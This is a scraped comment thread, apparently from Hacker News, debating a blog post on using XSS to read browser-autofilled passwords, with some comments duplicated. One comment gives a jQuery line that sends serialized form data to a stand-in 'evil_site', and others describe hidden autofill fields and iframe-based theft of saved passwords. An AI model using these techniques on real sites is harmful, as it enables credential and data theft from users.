XSS + "Save your password" = pwned(homakov.blogspot.com)
homakov.blogspot.com
XSS + "Save your password" = pwned
http://homakov.blogspot.com/2012/11/xss-save-your-password-pwned.html
64 comments
Auto-complete is completely irrelevant - you can listen in on the form submit action and you can steal session cookies without having auto-complete so there is little benefit.
However, there is another attack involving auto-complete that is less well known and more concerning. You can hide text input fields with CSS with names such as "address", "phonenumber", etc, and when a user goes to auto-complete their email address - it fills in all of their private info that they might not want that website to have.
However, there is another attack involving auto-complete that is less well known and more concerning. You can hide text input fields with CSS with names such as "address", "phonenumber", etc, and when a user goes to auto-complete their email address - it fills in all of their private info that they might not want that website to have.
I think the point is that using saved passwords means you don't have to catch the user when logging in, you can grab the password at any time. (Assuming an XSS attack exists of course.)
Same goes for session cookies and the 'good thing' about session cookies is that an XSS attack should work anywhere on the domain, rather than just the login page (assuming it's not a website with a login form on each page).
michaelmior is completely right.
You don't need xss on login page. You can have xss on any page and open an iframe/window with login and then steal via same origin
You don't need xss on login page. You can have xss on any page and open an iframe/window with login and then steal via same origin
[deleted]
I don't see how this is a security hole, unless the website gets hacked in another way. Every time you sign up for an account the website could save your password in plaintext which they could view later. Same thing for signing in, a website could just save the submitted password.
If for some reason my logic is flawed, then a lot of information would have to be denied, essentially and operation on a password input. You'd have to disable and .type, .val, and probably a couple of others on password fields.
If for some reason my logic is flawed, then a lot of information would have to be denied, essentially and operation on a password input. You'd have to disable and .type, .val, and probably a couple of others on password fields.
Most websites include a host of javascript from other sites, like Google Analytics, Like-Buttons, Ads, and so on. If they all can get to the password it seems like an issue to me.
Personally I am surprised by this. Afaik you can not copy+paste the password from a password form field, so I just somehow assumed you couldn't get to it via JavaScript, either.
Personally I am surprised by this. Afaik you can not copy+paste the password from a password form field, so I just somehow assumed you couldn't get to it via JavaScript, either.
good analogy with copy paste
Maybe it's proof that you should host your own version of jQuery instead of trusting, say, the google cdn.
you didn't get it. i want to deny access to PREFILLED stuff. no user interaction at all
If a script wants to gain access to the prefilled stuff it has to come from the website creator unless the website is hacked with sql injection or something like that, which still has the same problem- if they really want your password, on signin the website can just get the password value of the form and save it somewhere,.
The suggestion that you should forbid access to the prefilled password from JavaScript just doesn't work and will break many websites. If the form is submitted in the regular way, it will typically work, but any sort of background logging in or AJAX form submission will then fail.
And what's so special about what you've saved? XSS is a security hole and so once a script is injected it doesn't really matter whether it's the prefilled password or a password that gets typed in - it's just perhaps slightly more likely to be there. (But then, I wouldn't think people are in the habit of leaving a filled in login form as it is - I at least would be likely to compulsively submit it and log in.)
And what's so special about what you've saved? XSS is a security hole and so once a script is injected it doesn't really matter whether it's the prefilled password or a password that gets typed in - it's just perhaps slightly more likely to be there. (But then, I wouldn't think people are in the habit of leaving a filled in login form as it is - I at least would be likely to compulsively submit it and log in.)
[deleted]
updated the post
That is one of the main reasons why I use Opera where password is filled only after I press special button.
It doesn't really matter. Once hacker was able to put his JS on your page, one way or another it will be possible to pull password from password field, auto-completed, or human-entered.
I alos use Opera. I'd wondered why its password management was designed differently from the stuff in other browsers, and I guess this might be why.
But the approach depends on the browser software to figure out which button on the page is the login button, rather than relying on the user to figure it out. I've run into one or two websites where Opera got that wrong, meaning the password manager couldn't work.
Everything is a trade-off, I guess.
But the approach depends on the browser software to figure out which button on the page is the login button, rather than relying on the user to figure it out. I've run into one or two websites where Opera got that wrong, meaning the password manager couldn't work.
Everything is a trade-off, I guess.
I agree. The demo doesn't read the password in opera because it is not filled in. Take that, chrome users.
you always have to press that button.
btw, can you test on opera?
It doesn't work in Opera.
Basically Opera doesn't auto-complete unless you click a specific button once the page loads. Then Opera will not only auto complete the password form, but submit it as well.
Basically Opera doesn't auto-complete unless you click a specific button once the page loads. Then Opera will not only auto complete the password form, but submit it as well.
Isn't there a race condition, where the password is visible to malicious Javascript, before the submit navigates away from the filled-form page?
Yes, and I've actually used that to extract my own password that I've forgotten. Opera's implementation coincidentally stops this specific attack, but it's not in any way a security mechanism.
[deleted]
You also always have to type in your password. What's the difference?
No, you don't.
I don't know about you, but I can't log in without a password.
I can, and I can ever test race condition, mentioned by hythloday.
http://youtu.be/jsfEy32n_xI
http://youtu.be/jsfEy32n_xI
alt-enter works too
An attacker could already simply redirect the form or post silently via XHR to gather the password, even if you didn't save your password before. This is not very useful.
Good catch, thanks. Changing 'action' param is very useful trick. I guess limitation should restrict action to same domain of current page..
Useful or not, it's yet another way. Yet another tool in the arsenal. Yet another quirk to worry about.
The way is the same: getting rogue JS to run on your page. If the attacker gets that, it doesn't really matter how many ways they have to copy the password.
This is nothing new. Once XSS has been exploited the users are already pwned regardless of password policy.
>This is nothing new. Once XSS has been exploited the users are already pwned regardless of password policy.
stealing password >> XSS.
stealing password >> XSS.
This has nothing to do with pre-filled passwords. Type any text in and click the link in the demo (without POSTing or having the browser save) and it pulls the text out. XSS works on what the field is populated with, whether typed by the user or pre-filled by the browser.
tl;dr; XSS is a security hole.
Too glib. In security, you want defense in depth, because what you thought was your perfect perimeter never is. It is fair to discuss whether or not there is anything a browser can do to mitigate this, even in the face of a security violation. Hence things like domain policies on AJAX use... in theory they are never necessary because everybody's perfectly secure, right?
I suspect that other's analysis that the proposed solution is impossible is correct, and JS needs access to the prefilled in password for a lot of auth to work. But it's a valid discussion, and is not rendered moot by simply observing that another security violation has already occurred.
I suspect that other's analysis that the proposed solution is impossible is correct, and JS needs access to the prefilled in password for a lot of auth to work. But it's a valid discussion, and is not rendered moot by simply observing that another security violation has already occurred.
updated the post
true! and it happens.
but stealing real password is a security HOLE IN FORCE 2
This is a non-story, if I'm able to execute script on your site I don't have to wait for the password manager...
$('form').submit(function(){ $.get('evil_site' + $(this).serialize()) });
$('textarea.comments').val("You smell");
$('form').submit();How is this news ?
What he said.
Old, commonly known and previously exploited.
Here is how you disable autocomplete on your website:
https://developer.mozilla.org/en-US/docs/How_to_Turn_Off_For...
Disabling autocomplete just forces people to write the password manually, which can still be copied. How is that any better?
the cherry here is autofill. no user involved
If you get xss-ed the last thing you should care about is limiting autocomplete.
What I think might be interesting hack against it - to have browser to fill incorrect information. This way it might prevent script from grabbing correct login/password, unless hacker do it right and send password on each onkeyup event :)
I tried to get the saved values of the input type=text tags without xss. It's a pretty messy method and doesn't work very well. http://j.mp/YbLvuK Any ideas?
I am happy I don't store any passwords anymore in the browser or even in my computer. All of them (200+) was moved to LastPass. One of the best decisions I have ever made.
That's what this is talking about, using xss to sniff your lastpass filled password field...
Just tested, you are right. :(
His suggested fix will break work for sites that use AJAX on the login forms.
It is however an interesting vector as it will steal the password without any user interaction or knowledge.
It is however an interesting vector as it will steal the password without any user interaction or knowledge.
>His suggested fix will break work for sites that use AJAX on the login forms.
I forgot about AJAX, I was wrong.
>It is however an interesting vector as it will steal the password without any user interaction or knowledge.
I am trying to say it here.
one of the main reasons, that someone could find XSS on your website.
Afterwards, he needs just to open an iframe and you may get your password in a plan-text.
without any redirects and other hijackings
without any redirects and other hijackings
[deleted]
For eg. check this presentation from Stratsec at EUSecWest '09[0] specifically slide 35 which talks about exploiting password managers.
see 'Abusing Password Managers with XSS' from Neohapsis[1]
also the Beef project has a module called Get Stored Credentials[2]
The reason it was only one slide in the presentation and so little else has been written about it? First, because it is obvious - when learning XSS after cookies and sessions the next thing most devs go at is the password manager.
And second, it just isn't as interesting when you have so much more you can do with XSS, and tampering with password managers is a narrow vector.
[0] http://www.stratsec.net/getattachment/09ce9a5a-07d2-41ca-843...
[1] http://labs.neohapsis.com/2012/04/25/abusing-password-manage...
[2] http://beefproject.com/